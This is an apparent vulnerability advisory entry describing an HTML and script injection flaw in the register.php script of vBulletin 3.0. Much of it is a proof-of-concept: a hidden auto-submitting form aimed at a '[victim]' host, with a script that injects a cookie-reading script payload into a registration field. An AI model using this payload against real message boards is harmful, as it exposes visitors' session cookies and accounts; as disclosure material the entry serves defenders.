vBulletin 3.0 Register.PHP HTML Injection Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType

vBulletin 3.0 HTML Injection Vulnerability Register.PH


                                                source: http://www.securityfocus.com/bid/8354/info

vBulletin may be prone to an HTML injection vulnerability. This issue is exposed through inadequate sanitization of user input for certain fields within the register.php script. An attacker may exploit this issue by including hostile HTML and script code in fields that may be displayed in posts to the message board, or the user&#39;s profile. This code may be rendered in the web browser of a user who views the malicious message.

[form action=&#34;http://[victim]/register.php?do=register&#34; method=&#34;post&#34;
style=&#34;display:none&#34;]
[input type=&#34;hidden&#34; name=&#34;s&#34; value=&#34;&#34; /]
[input type=&#34;hidden&#34; name=&#34;regtype&#34; value=&#34;1&#34; /]
[input type=&#34;text&#34; class=&#34;bginput&#34; name=&#34;field1&#34; value=&#34;&#34; size=&#34;25&#34;
maxlength=&#34;250&#34; /]
[input type=&#34;hidden&#34; name=&#34;url&#34; value=&#34;index.php&#34; /]
[input type=&#34;hidden&#34; name=&#34;do&#34; value=&#34;addmember&#34; /] 
[/form]
[script]
//Code that will be executed
var xss = &#34;\&#34;][script]alert(document&#34;+&#34;.cookie)[\/script]&#34;;
document.forms[0].field1.value=xss;
document.forms[0].submit();
[/script]

*Replace ([],&#60;&#62;)

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1